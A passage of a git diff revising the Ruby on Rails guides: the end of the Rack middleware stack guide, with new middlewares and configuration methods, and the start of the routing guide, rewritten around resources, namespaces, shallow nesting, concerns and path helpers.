 use Rack::Runtime
 use Rack::MethodOverride
 use ActionDispatch::RequestId
+use ActionDispatch::RemoteIp
+use Sprockets::Rails::QuietAssets
 use Rails::Rack::Logger
 use ActionDispatch::ShowExceptions
 use WebConsole::Middleware
 use ActionDispatch::DebugExceptions
-use ActionDispatch::RemoteIp
+use ActionDispatch::ActionableExceptions
 use ActionDispatch::Reloader
 use ActionDispatch::Callbacks
 use ActiveRecord::Migration::CheckPending
 use ActionDispatch::Cookies
 use ActionDispatch::Session::CookieStore
 use ActionDispatch::Flash
+use ActionDispatch::ContentSecurityPolicy::Middleware
 use Rack::Head
 use Rack::ConditionalGet
 use Rack::ETag
-run Rails.application.routes
+use Rack::TempfileReaper
+run MyApp::Application.routes
 ```
 
 The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below.
 
 ### Configuring Middleware Stack
 
-Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
+Rails provides a simple configuration interface [`config.middleware`][] for adding, removing, and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
+
+[`config.middleware`]: configuring.html#config-middleware
 
 #### Adding a Middleware
 
@@ -164,6 +151,24 @@ You can swap an existing middleware in the middleware stack using `config.middle
 config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
 ```
 
+#### Moving a Middleware
+
+You can move an existing middleware in the middleware stack using `config.middleware.move_before` and `config.middleware.move_after`.
+
+```ruby
+# config/application.rb
+
+# Move ActionDispatch::ShowExceptions to before Lifo::ShowExceptions
+config.middleware.move_before Lifo::ShowExceptions, ActionDispatch::ShowExceptions
+```
+
+```ruby
+# config/application.rb
+
+# Move ActionDispatch::ShowExceptions to after Lifo::ShowExceptions
+config.middleware.move_after Lifo::ShowExceptions, ActionDispatch::ShowExceptions
+```
+
 #### Deleting a Middleware
 
 Add the following lines to your application configuration:
@@ -201,17 +206,32 @@ And to remove browser related middleware,
 config.middleware.delete Rack::MethodOverride
 ```
 
+If you want an error to be raised when you try to delete a non-existent item, use `delete!` instead.
+
+```ruby
+# config/application.rb
+config.middleware.delete! ActionDispatch::Executor
+```
+
 ### Internal Middleware Stack
 
 Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
 
+**`ActionDispatch::HostAuthorization`**
+
+* Guards from DNS rebinding attacks by explicitly permitting the hosts a request can be sent to. See the [configuration guide](configuring.html#actiondispatch-hostauthorization) for configuration instructions.
+
 **`Rack::Sendfile`**
 
-* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option.
+* Sets server specific X-Sendfile header. Configure this via [`config.action_dispatch.x_sendfile_header`][] option.
+
+[`config.action_dispatch.x_sendfile_header`]: configuring.html#config-action-dispatch-x-sendfile-header
 
 **`ActionDispatch::Static`**
 
-* Used to serve static files from the public directory. Disabled if `config.public_file_server.enabled` is `false`.
+* Used to serve static files from the public directory. Disabled if [`config.public_file_server.enabled`][] is `false`.
+
+[`config.public_file_server.enabled`]: configuring.html#config-public-file-server-enabled
 
 **`Rack::Lock`**
 
@@ -221,6 +241,10 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol
 
 * Used for thread safe code reloading during development.
 
+**`ActionDispatch::ServerTiming`**
+
+* Sets a [`Server-Timing`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing) header containing performance metrics for the request.
+
 **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
 
 * Used for memory caching. This cache is not thread safe.
@@ -237,9 +261,17 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol
 
 * Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#request_id` method.
 
+**`ActionDispatch::RemoteIp`**
+
+* Checks for IP spoofing attacks.
+
+**`Sprockets::Rails::QuietAssets`**
+
+* Suppresses logger output for asset requests.
+
 **`Rails::Rack::Logger`**
 
-* Notifies the logs that the request has began. After request is complete, flushes all the logs.
+* Notifies the logs that the request has begun. After the request is complete, flushes all the logs.
 
 **`ActionDispatch::ShowExceptions`**
 
@@ -249,9 +281,9 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol
 
 * Responsible for logging exceptions and showing a debugging page in case the request is local.
 
-**`ActionDispatch::RemoteIp`**
+**`ActionDispatch::ActionableExceptions`**
 
-* Checks for IP spoofing attacks.
+* Provides a way to dispatch actions from Rails' error pages.
 
 **`ActionDispatch::Reloader`**
 
@@ -275,20 +307,30 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol
 
 **`ActionDispatch::Flash`**
 
-* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
+* Sets up the flash keys. Only available if [`config.session_store`][] is set to a value.
+
+[`config.session_store`]: configuring.html#config-session-store
+
+**`ActionDispatch::ContentSecurityPolicy::Middleware`**
+
+* Provides a DSL to configure a Content-Security-Policy header.
 
 **`Rack::Head`**
 
-* Converts HEAD requests to `GET` requests and serves them as so.
+* Returns an empty body for all HEAD requests. It leaves all other requests unchanged.
 
 **`Rack::ConditionalGet`**
 
-* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
+* Adds support for "Conditional `GET`" so that server responds with nothing if the page wasn't changed.
 
 **`Rack::ETag`**
 
 * Adds ETag header on all String bodies. ETags are used to validate cache.
 
+**`Rack::TempfileReaper`**
+
+* Cleans up tempfiles used to buffer multipart requests.
+
 TIP: It's possible to use any of the above middlewares in your custom Rack stack.
 
 Resources
@@ -296,7 +338,7 @@ Resources
 
 ### Learning Rack
 
-* [Official Rack Website](http://rack.github.io)
+* [Official Rack Website](https://rack.github.io)
 * [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html)
 
 ### Understanding Middlewares
diff --git a/guides/source/routing.md b/guides/source/routing.md
index 86492a9332df0..d522a4bc6ed40 100644
--- a/guides/source/routing.md
+++ b/guides/source/routing.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Rails Routing from the Outside In
 =================================
@@ -18,54 +18,95 @@ After reading this guide, you will know:
 The Purpose of the Rails Router
 -------------------------------
 
-The Rails router recognizes URLs and dispatches them to a controller's action, or to a Rack application. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
+The Rails router matches incoming HTTP requests to specific controller actions
+in your Rails application based on the URL path. (It can also forward to a
+[Rack](rails_on_rack.html) application.) The router also generates path and URL
+helpers based on the resources configured in the router.
 
-### Connecting URLs to Code
+### Routing Incoming URLs to Code
 
-When your Rails application receives an incoming request for:
+When your Rails application receives an incoming request, it asks the router to match it to a controller action (aka method). For example, take the following incoming request:
 
 ```
-GET /patients/17
+GET /users/17
 ```
 
-it asks the router to match it to a controller action. If the first matching route is:
+If the first matching route is:
 
 ```ruby
-get '/patients/:id', to: 'patients#show'
+get "/users/:id", to: "users#show"
 ```
 
-the request is dispatched to the `patients` controller's `show` action with `{ id: '17' }` in `params`.
+The request is matched to the `UsersController` class's `show` action with `{ id: '17' }` in the `params` hash.
+
+The `to:` option expects a `controller#action` format when passed a string. Alternatively, You can pass a symbol and use the `action:` option, instead of `to:`. You can also pass a string without a `#`, in which case the `controller:` option is used instead to `to:`. For example:
+
+```ruby
+get "/users/:id", controller: "users", action: :show
+```
+
+NOTE: Rails uses snake_case for controller names when specifying routes. For example, if you have a controller named `UserProfilesController`, you would specify a route to the show action as `user_profiles#show`.
 
 ### Generating Paths and URLs from Code
 
-You can also generate paths and URLs. If the route above is modified to be:
+The Router automatically generates path and URL helper methods for your application. With these methods you can avoid hard-coded path and URL strings.
+
+For example, the `user_path` and `user_url` helper methods are available when defining the following route:
 
 ```ruby
-get '/patients/:id', to: 'patients#show', as: 'patient'
+get "/users/:id", to: "users#show", as: "user"
 ```
 
-and your application contains this code in the controller:
+NOTE: The `as:` option is used to provide a custom name for a route, which is used when generating URL and path helpers.
+
+Assuming your application contains this code in the controller:
 
 ```ruby
-@patient = Patient.find(17)
+@user = User.find(params[:id])
 ```
 
 and this in the corresponding view:
 
 ```erb
-<%= link_to 'Patient Record', patient_path(@patient) %>
+<%= link_to 'User Record', user_path(@user) %>
 ```
 
-then the router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
+The router will generate the path `/users/17` from `user_path(@user)`. Using the `user_path` helper allows you to avoid having to hard-code a path in your views. This is helpful if you eventually move the route to a different URL, as you won't need to update the corresponding views.
+
+It also generates `user_url`, which has a similar purpose. While `user_path` generates a relative URL like `/users/17`, `user_url` generates an absolute URL such as `https://example.com/users/17` in the above example.
+
+### Configuring the Rails Router
+
+Routes live in `config/routes.rb`. Here is an example of what routes look like in a typical Rails application. The sections that follow will explain the different route helpers used in this file:
+
+```ruby
+Rails.application.routes.draw do
+  resources :brands, only: [:index, :show] do
+    resources :products, only: [:index, :show]
+  end
+
+  resource :basket, only: [:show, :update, :destroy]
+
+  resolve("Basket") { route_for(:basket) }
+end
+```
+
+Since this is a regular Ruby source file, you can use all of Ruby's features (like conditionals and loops) to help you define your routes.
+
+NOTE: The `Rails.application.routes.draw do ... end` block that wraps your route definitions is required to establish the scope for the router DSL (Domain Specific Language) and must not be deleted.
+
+WARNING: Be careful with variable names in `routes.rb` as they can clash with the DSL methods of the router.
 
 Resource Routing: the Rails Default
 -----------------------------------
 
-Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your `index`, `show`, `new`, `edit`, `create`, `update` and `destroy` actions, a resourceful route declares them in a single line of code.
+Resource routing allows you to quickly declare all of the common routes for a given resource controller. For example, a single call to [`resources`][] declares all of the necessary routes for the `index`, `show`, `new`, `edit`, `create`, `update`, and `destroy` actions, without you having to declare each route separately.
+
+[`resources`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-resources
 
 ### Resources on the Web
 
-Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as `GET`, `POST`, `PATCH`, `PUT` and `DELETE`. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
+Browsers request pages from Rails by making a request for a URL using a specific HTTP verb, such as `GET`, `POST`, `PATCH`, `PUT`, and `DELETE`. Each HTTP verb is a request to perform an operation on the resource. A resource route maps related requests to actions in a single controller.
 
 When your Rails application receives an incoming request for:
 
@@ -79,21 +120,22 @@ it asks the router to map it to a controller action. If the first matching route
 resources :photos
 ```
 
-Rails would dispatch that request to the `destroy` action on the `photos` controller with `{ id: '17' }` in `params`.
+Rails would dispatch that request to the `destroy` action on the `PhotosController` with `{ id: '17' }` in `params`.
 
 ### CRUD, Verbs, and Actions
 
-In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to
-controller actions. By convention, each action also maps to a specific CRUD
-operation in a database. A single entry in the routing file, such as:
+In Rails, resourceful routes provide a mapping from incoming requests (a
+combination of HTTP verb + URL) to controller actions. By convention, each
+action generally maps to a specific [CRUD](active_record_basics.html#crud-reading-and-writing-data) operation on your data. A single entry in
+the routing file, such as:
 
 ```ruby
 resources :photos
 ```
 
-creates seven different routes in your application, all mapping to the `Photos` controller:
+creates seven different routes in your application, all mapping to the `PhotosController` actions:
 
-| HTTP Verb | Path             | Controller#Action | Used for                                     |
+| HTTP Verb | Path             | Controller#Action | Used to                                     |
 | --------- | ---------------- | ----------------- | -------------------------------------------- |
 | GET       | /photos          | photos#index      | display a list of all photos                 |
 | GET       | /photos/new      | photos#new        | return an HTML form for creating a new photo |
@@ -103,20 +145,28 @@ creates seven different routes in your application, all mapping to the `Photos`
 | PATCH/PUT | /photos/:id      | photos#update     | update a specific photo                      |
 | DELETE    | /photos/:id      | photos#destroy    | delete a specific photo                      |
 
-NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
+Since the router uses the HTTP verb *and* path to match inbound requests, four URLs can map to seven different controller actions. For example, the same `photos/` path matches to `photos#index` when the verb is `GET` and `photos#create` when the verb is `POST`.
 
-NOTE: Rails routes are matched in the order they are specified, so if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. To fix this, move the `get` line **above** the `resources` line so that it is matched first.
+NOTE: Order matters in the `routes.rb` file. Rails routes are matched in the order they are specified. For example, if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. If you want the `photos/poll` route to match first, you'll need to move the `get` line **above** the `resources` line.
 
 ### Path and URL Helpers
 
-Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of `resources :photos`:
+Creating a resourceful route will also expose a number of helpers to controllers and views in your application.
+
+For example, adding `resources :photos` to the route file will generate these `_path` helpers:
 
-* `photos_path` returns `/photos`
-* `new_photo_path` returns `/photos/new`
-* `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`)
-* `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`)
+| Path Helper | Returns URL |
+| --------- | ---------------- |
+| `photos_path` | /photos |
+| `new_photo_path` | /photos/new |
+| `edit_photo_path(:id)` | /photos/:id/edit` |
+| `photo_path(:id)` | /photos/:id |
 
-Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port and path prefix.
+Parameters to the path helpers, such as `:id` above, are passed to the generated URL, such that `edit_photo_path(10)` will return `/photos/10/edit`.
+
+Each of these `_path` helpers also have a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port, and path prefix.
+
+TIP: The prefix used before "_path" and "_url" is the route name and can be identified by looking at the "prefix" column of the `bin/rails routes` command output. To learn more see [Listing Existing Routes](#listing-existing-routes) below.
 
 ### Defining Multiple Resources at the Same Time
 
@@ -126,7 +176,7 @@ If you need to create routes for more than one resource, you can save a bit of t
 resources :photos, :books, :videos
 ```
 
-This works exactly the same as:
+The above is a shortcut for:
 
 ```ruby
 resources :photos
@@ -136,27 +186,20 @@ resources :videos
 
 ### Singular Resources
 
-Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like `/profile` to always show the profile of the currently logged in user. In this case, you can use a singular resource to map `/profile` (rather than `/profile/:id`) to the `show` action:
-
-```ruby
-get 'profile', to: 'users#show'
-```
+Sometimes, you have a resource that users expect to have only one (i.e. it does not make sense to have an `index` action to list all values of that resource). In that case, you can use `resource` (singular) instead of `resources`.
 
-Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action but you must also specify the `controller:` to use:
-
-```ruby
-get 'profile', to: :show, controller: 'users'
-```
-
-This resourceful route:
+The below resourceful route creates six routes in your application, all mapping to the `Geocoders` controller:
 
 ```ruby
 resource :geocoder
+resolve("Geocoder") { [:geocoder] }
 ```
 
-creates six different routes in your application, all mapping to the `Geocoders` controller:
+NOTE: The call to `resolve` is necessary for converting instances of the `Geocoder` to singular routes through [record identification](form_helpers.html#relying-on-record-identification).
+
+Here are all of the routes created for a singular resource:
 
-| HTTP Verb | Path           | Controller#Action | Used for                                      |
+| HTTP Verb | Path           | Controller#Action | Used to                                      |
 | --------- | -------------- | ----------------- | --------------------------------------------- |
 | GET       | /geocoder/new  | geocoders#new     | return an HTML form for creating the geocoder |
 | POST      | /geocoder      | geocoders#create  | create the new geocoder                       |
@@ -165,7 +208,7 @@ creates six different routes in your application, all mapping to the `Geocoders`
 | PATCH/PUT | /geocoder      | geocoders#update  | update the one and only geocoder resource     |
 | DELETE    | /geocoder      | geocoders#destroy | delete the geocoder resource                  |
 
-NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`).
+NOTE: Singular resources map to plural controllers. For example, the `geocoder` resource maps to the `GeocodersController`.
 
 A singular resourceful route generates these helpers:
 
@@ -173,29 +216,21 @@ A singular resourceful route generates these helpers:
 * `edit_geocoder_path` returns `/geocoder/edit`
 * `geocoder_path` returns `/geocoder`
 
-As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix.
-
-WARNING: A [long-standing bug](https://github.com/rails/rails/issues/1769) prevents `form_for` from working automatically with singular resources. As a workaround, specify the URL for the form directly, like so:
-
-```ruby
-form_for @geocoder, url: geocoder_path do |f|
-
-# snippet for brevity
-```
+As with plural resources, the same helpers ending in `_url` will also include the host, port, and path prefix.
 
 ### Controller Namespaces and Routing
 
-You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router:
+In large applications, you may wish to organize groups of controllers under a namespace. For example, you may have a number of controllers under an `Admin::` namespace, which are inside the `app/controllers/admin` directory. You can route to such a group by using a [`namespace`][] block:
 
 ```ruby
 namespace :admin do
-  resources :articles, :comments
+  resources :articles
 end
 ```
 
-This will create a number of routes for each of the `articles` and `comments` controller. For `Admin::ArticlesController`, Rails will create:
+For `Admin::ArticlesController`, Rails will create the following routes:
 
-| HTTP Verb | Path                     | Controller#Action      | Named Helper              |
+| HTTP Verb | Path                     | Controller#Action      | Named Route Helper           |
 | --------- | ------------------------ | ---------------------- | ---------------------------- |
 | GET       | /admin/articles          | admin/articles#index   | admin_articles_path          |
 | GET       | /admin/articles/new      | admin/articles#new     | new_admin_article_path       |
@@ -205,37 +240,45 @@ This will create a number of routes for each of the `articles` and `comments` co
 | PATCH/PUT | /admin/articles/:id      | admin/articles#update  | admin_article_path(:id)      |
 | DELETE    | /admin/articles/:id      | admin/articles#destroy | admin_article_path(:id)      |
 
-If you want to route `/articles` (without the prefix `/admin`) to `Admin::ArticlesController`, you could use:
+Note that in the above example all of the paths have a `/admin` prefix per the default convention for `namespace`.
+
+#### Using Module
+
+If you want to route `/articles` (without the prefix `/admin`) to `Admin::ArticlesController`, you can specify the module with a [`scope`][] block:
 
 ```ruby
-scope module: 'admin' do
-  resources :articles, :comments
+scope module: "admin" do
+  resources :articles
 end
 ```
 
-or, for a single case:
+Another way to write the above:
 
 ```ruby
-resources :articles, module: 'admin'
+resources :articles, module: "admin"
 ```
 
-If you want to route `/admin/articles` to `ArticlesController` (without the `Admin::` module prefix), you could use:
+#### Using Scope
+
+Alternatively, you can also route `/admin/articles` to `ArticlesController` (without the `Admin::` module prefix). You can specify the path with a `scope` block:
 
 ```ruby
-scope '/admin' do
-  resources :articles, :comments
+scope "/admin" do
+  resources :articles
 end
 ```
 
-or, for a single case:
+Another way to write the above:
 
 ```ruby
-resources :articles, path: '/admin/articles'
+resources :articles, path: "/admin/articles"
 ```
 
-In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `ArticlesController`:
+For these alternatives (without `/admin` in path and without `Admin::` in module prefix), the named route helpers remain the same as if you did not use `scope`.
 
-| HTTP Verb | Path                     | Controller#Action    | Named Helper           |
+In the last case, the following paths map to `ArticlesController`:
+
+| HTTP Verb | Path                     | Controller#Action    | Named Route Helper     |
 | --------- | ------------------------ | -------------------- | ---------------------- |
 | GET       | /admin/articles          | articles#index       | articles_path          |
 | GET       | /admin/articles/new      | articles#new         | new_article_path       |
@@ -245,7 +288,10 @@ In each of these cases, the named routes remain the same as if you did not use `
 | PATCH/PUT | /admin/articles/:id      | articles#update      | article_path(:id)      |
 | DELETE    | /admin/articles/:id      | articles#destroy     | article_path(:id)      |
 
-TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo' => '/foo#index'`._
+TIP: If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo', to: '/foo#index'`.
+
+[`namespace`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-namespace
+[`scope`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-scope
 
 ### Nested Resources
 
@@ -261,7 +307,7 @@ class Ad < ApplicationRecord
 end
 ```
 
-Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
+Nested route declarations allow you to capture this relationship in your routing:
 
 ```ruby
 resources :magazines do
@@ -269,9 +315,9 @@ resources :magazines do
 end
 ```
 
-In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:
+In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. Here are all of the routes for the nested `ads` resource:
 
-| HTTP Verb | Path                                 | Controller#Action | Used for                                                                   |
+| HTTP Verb | Path                                 | Controller#Action | Used to                                                                   |
 | --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- |
 | GET       | /magazines/:magazine_id/ads          | ads#index         | display a list of all ads for a specific magazine                          |
 | GET       | /magazines/:magazine_id/ads/new      | ads#new           | return an HTML form for creating a new ad belonging to a specific magazine |
@@ -281,7 +327,7 @@ In addition to the routes for magazines, this declaration will also route ads to
 | PATCH/PUT | /magazines/:magazine_id/ads/:id      | ads#update        | update a specific ad belonging to a specific magazine                      |
 | DELETE    | /magazines/:magazine_id/ads/:id      | ads#destroy       | delete a specific ad belonging to a specific magazine                      |
 
-This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).
+This will also create the usual path and url routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. Since the `ads` resource is nested below `magazines`, The ad URLs require a magazine. The helpers can take an instance of `Magazine` as the first parameter (`edit_magazine_ad_path(@magazine, @ad)`).
 
 #### Limits to Nesting
 
@@ -295,19 +341,26 @@ resources :publishers do
 end
 ```
 
-Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as:
+In the above example, the application would recognize paths such as:
 
 ```
 /publishers/1/magazines/2/photos/3
 ```
 
-The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular [article](http://weblog.jamisbuck.org/2007/2/5/nesting-resources) by Jamis Buck proposes a rule of thumb for good Rails design:
+The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. As you can see, deeply nested resources can become overly complex and cumbersome to maintain.
 
-TIP: _Resources should never be nested more than 1 level deep._
+TIP: The general rule of thumb is to only nest resources 1 level deep.
 
 #### Shallow Nesting
 
-One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this:
+One way to avoid deep nesting (as recommended above) is to generate the
+collection actions scoped under the parent - so as to get a sense of the
+hierarchy, but to not nest the member actions. In other words, to only build
+routes with the minimal amount of information to uniquely identify the resource.
+
+NOTE: The "member" actions are the ones that apply to an individual resource and require an ID to identify the specific resource they are acting upon, such as `show`, `edit`, etc. The "collection" actions are the ones that act on the entire set of the resource, such as `index`.
+
+For example:
 
 ```ruby
 resources :articles do
@@ -316,7 +369,7 @@ end
 resources :comments, only: [:show, :edit, :update, :destroy]
 ```
 
-This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the `:shallow` option:
+Above we use the `:only` option which tells Rails to create only the specified routes. This idea strikes a balance between descriptive routes and deep nesting. There is a shorthand syntax to achieve just that, via the `:shallow` option:
 
 ```ruby
 resources :articles do
@@ -330,23 +383,49 @@ This will generate the exact same routes as the first example. You can also spec
 resources :articles, shallow: true do
   resources :comments
   resources :quotes
-  resources :drafts
 end
 ```
 
-The `shallow` method of the DSL creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example:
+The articles resource above will generate the following routes:
+
+| HTTP Verb | Path                                         | Controller#Action | Named Route Helper       |
+| --------- | -------------------------------------------- | ----------------- | ------------------------ |
+| GET       | /articles/:article_id/comments(.:format)     | comments#index    | article_comments_path    |
+| POST      | /articles/:article_id/comments(.:format)     | comments#create   | article_comments_path    |
+| GET       | /articles/:article_id/comments/new(.:format) | comments#new      | new_article_comment_path |
+| GET       | /comments/:id/edit(.:format)                 | comments#edit     | edit_comment_path        |
+| GET       | /comments/:id(.:format)                      | comments#show     | comment_path             |
+| PATCH/PUT | /comments/:id(.:format)                      | comments#update   | comment_path             |
+| DELETE    | /comments/:id(.:format)                      | comments#destroy  | comment_path             |
+| GET       | /articles/:article_id/quotes(.:format)       | quotes#index      | article_quotes_path      |
+| POST      | /articles/:article_id/quotes(.:format)       | quotes#create     | article_quotes_path      |
+| GET       | /articles/:article_id/quotes/new(.:format)   | quotes#new        | new_article_quote_path   |
+| GET       | /quotes/:id/edit(.:format)                   | quotes#edit       | edit_quote_path          |
+| GET       | /quotes/:id(.:format)                        | quotes#show       | quote_path               |
+| PATCH/PUT | /quotes/:id(.:format)                        | quotes#update     | quote_path               |
+| DELETE    | /quotes/:id(.:format)                        | quotes#destroy    | quote_path               |
+| GET       | /articles(.:format)                          | articles#index    | articles_path            |
+| POST      | /articles(.:format)                          | articles#create   | articles_path            |
+| GET       | /articles/new(.:format)                      | articles#new      | new_article_path         |
+| GET       | /articles/:id/edit(.:format)                 | articles#edit     | edit_article_path        |
+| GET       | /articles/:id(.:format)                      | articles#show     | article_path             |
+| PATCH/PUT | /articles/:id(.:format)                      | articles#update   | article_path             |
+| DELETE    | /articles/:id(.:format)                      | articles#destroy  | article_path             |
+
+The [`shallow`][] method with a block creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example:
 
 ```ruby
 shallow do
   resources :articles do
     resources :comments
     resources :quotes
-    resources :drafts
   end
 end
 ```
 
-There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
+There are two options that can be used with `scope` to customize shallow routes - `:shallow_path` and `:shallow_prefix`.
+
+The `shallow_path` option prefixes member paths with the given parameter:
 
 ```ruby
 scope shallow_path: "sekret" do
@@ -358,7 +437,7 @@ end
 
 The comments resource here will have the following routes generated for it:
 
-| HTTP Verb | Path                                         | Controller#Action | Named Helper             |
+| HTTP Verb | Path                                         | Controller#Action | Named Route Helper       |
 | --------- | -------------------------------------------- | ----------------- | ------------------------ |
 | GET       | /articles/:article_id/comments(.:format)     | comments#index    | article_comments_path    |
 | POST      | /articles/:article_id/comments(.:format)     | comments#create   | article_comments_path    |
@@ -368,7 +447,7 @@ The comments resource here will have the following routes generated for it:
 | PATCH/PUT | /sekret/comments/:id(.:format)               | comments#update   | comment_path             |
 | DELETE    | /sekret/comments/:id(.:format)               | comments#destroy  | comment_path             |
 
-The `:shallow_prefix` option adds the specified parameter to the named helpers:
+The `:shallow_prefix` option adds the specified parameter to the `_path` and `_url` route helpers:
 
 ```ruby
 scope shallow_prefix: "sekret" do
@@ -380,7 +459,7 @@ end
 
 The comments resource here will have the following routes generated for it:
 
-| HTTP Verb | Path                                         | Controller#Action | Named Helper                |
+| HTTP Verb | Path                                         | Controller#Action | Named Route Helper          |
 | --------- | -------------------------------------------- | ----------------- | --------------------------- |
 | GET       | /articles/:article_id/comments(.:format)     | comments#index    | article_comments_path       |
 | POST      | /articles/:article_id/comments(.:format)     | comments#create   | article_comments_path       |
@@ -390,9 +469,11 @@ The comments resource here will have the following routes generated for it:
 | PATCH/PUT | /comments/:id(.:format)                      | comments#update   | sekret_comment_path         |
 | DELETE    | /comments/:id(.:format)                      | comments#destroy  | sekret_comment_path         |
 
-### Routing concerns
+[`shallow`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-shallow
+
+### Routing Concerns
 
-Routing concerns allow you to declare common routes that can be reused inside other resources and routes. To define a concern:
+Routing concerns allow you to declare common routes that can be reused inside other resources. To define a concern, use a [`concern`][] block:
 
 ```ruby
 concern :commentable do
@@ -425,15 +506,23 @@ resources :articles do
 end
 ```
 
-Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
+You can also call [`concerns`][] in a `scope` or `namespace` block to get the same result as above. For example:
 
 ```ruby
+namespace :messages do
+  concerns :commentable
+end
+
 namespace :articles do
   concerns :commentable
+  concerns :image_attachable
 end
 ```
 
-### Creating Paths and URLs From Objects
+[`concern`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Concerns.html#method-i-concern
+[`concerns`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Concerns.html#method-i-concerns
+
+### Creating Paths and URLs from Objects
 
 In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
 
@@ -449,13 +538,15 @@ When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad`
 <%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>
 ```
 
-You can also use `url_for` with a set of objects, and Rails will automatically determine which route you want:
+The generated path will be something like `/magazines/5/ads/42`.
+
+You can also use [`url_for`][ActionView::RoutingUrlFor#url_for] with an array of objects to get the above path, like this:
 
 ```erb
 <%= link_to 'Ad details', url_for([@magazine, @ad]) %>
 ```
 
-In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. In helpers like `link_to`, you can specify just the object in place of the full `url_for` call:
+In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. An even shorter way to write that [`link_to`](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) is to specify just the object instead of the full [`url_for`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html) call:
 
 ```erb
 <%= link_to 'Ad details', [@magazine, @ad] %>
@@ -467,7 +558,7 @@ If you wanted to link to just a magazine:
 <%= link_to 'Magazine details', @magazine %>
 ```
 
-For other actions, you just need to insert the action name as the first element of the array:
